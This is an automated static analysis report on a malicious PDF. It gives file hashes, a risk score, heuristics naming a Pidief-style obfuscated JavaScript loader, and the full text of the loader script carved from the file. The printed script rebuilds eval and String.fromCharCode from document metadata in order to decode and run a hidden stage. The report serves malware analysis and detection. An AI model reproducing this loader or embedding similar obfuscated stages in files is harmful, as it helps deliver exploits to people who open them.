Malicious PDF — malware analysis report

Static analysis result for SHA-256 9ab1cb6f7eedb82c…

MALICIOUS

PDF

44.6 KB Authoring application: substr First seen: 2012-06-14
MD5: 1eda5fab249771e2f6bf77ee9f5282c0 SHA-1: 6abdf11e7509ef28aaeda585c677c2cb0fab99cc SHA-256: 9ab1cb6f7eedb82c502ae298b3e7ce9cae5ae335f0fecea67d346a097ad578a7
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, flagged by multiple heuristics and a high-confidence ML classifier. The JavaScript is likely intended to download and execute a second-stage payload. The file's SHA256 hash is included as an IOC.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFC3 489 bytes
SHA-256: 0d877d705fc19cc1c31e3b03cd19320bff4cbd7f664ae1fe56086bc387dbb95c
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+'v'+a[2]+t[0];
e=v[v]()[s];
imqne=e(v[4]+'i'.concat(v[4],t));
q=imqne[v](a.length-7,a.length+1);
d='String';
d+='.fr';
d+='o'+q;
wqmbm=e(e('d'));
sub=v[0];
sub+='ubject';
q=imqne[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	dxrnv = 1*(q[i]);
	i++;
	dxrnv -= (-1)*(q[i]);
	s2 += wqmbm(dxrnv);
	i++;
}
e(s2);

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